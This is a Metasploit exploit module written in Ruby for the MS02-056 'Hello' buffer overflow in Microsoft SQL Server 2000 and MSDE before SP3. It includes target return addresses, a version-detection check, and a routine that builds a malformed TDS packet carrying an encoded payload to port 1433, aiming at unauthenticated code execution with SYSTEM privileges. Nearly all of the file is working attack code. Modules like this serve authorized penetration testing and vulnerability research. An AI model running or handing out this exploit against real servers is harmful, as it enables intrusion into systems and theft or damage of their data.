metasploit-framework/modules/exploits/windows/mssql/ms02_056_hello.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::MSSQL
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def initialize(info = {})
super(update_info(info,
'Name' => 'MS02-056 Microsoft SQL Server Hello Overflow',
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'Description' => %q{
By sending malformed data to TCP port 1433, an
unauthenticated remote attacker could overflow a buffer and
possibly execute code on the server with SYSTEM level
privileges. This module should work against any vulnerable
SQL Server 2000 or MSDE install (< SP3).
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},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2002-1123'],
[ 'OSVDB', '10132'],
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[ 'BID', '5411'],
[ 'MSB', 'MS02-056'],
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],
'Privileged' => true,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'MSSQL 2000 / MSDE <= SP2',
{
'Platform' => 'win',
'Rets' => [0x42b68aba, 0x42d01e50],
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Aug 5 2002',
'DefaultTarget' => 0))
end
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def check
info = mssql_ping
if (info['ServerName'])
print_status("SQL Server Information:")
info.each_pair { |k,v|
print_status(" #{k + (" " * (15-k.length))} = #{v}")
}
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
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def exploit
connect
buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
"\x10\x00\x00\x00" +
rand_text_english(528, payload_badchars) +
"\x1B\xA5\xEE\x34" +
rand_text_english(4, payload_badchars) +
[ target['Rets'][0] ].pack('V') +
[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
'3333' +
[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
rand_text_english(88, payload_badchars) +
payload.encoded +
"\x00\x24\x01\x00\x00"
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sock.put(buf)
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handler
disconnect
end
end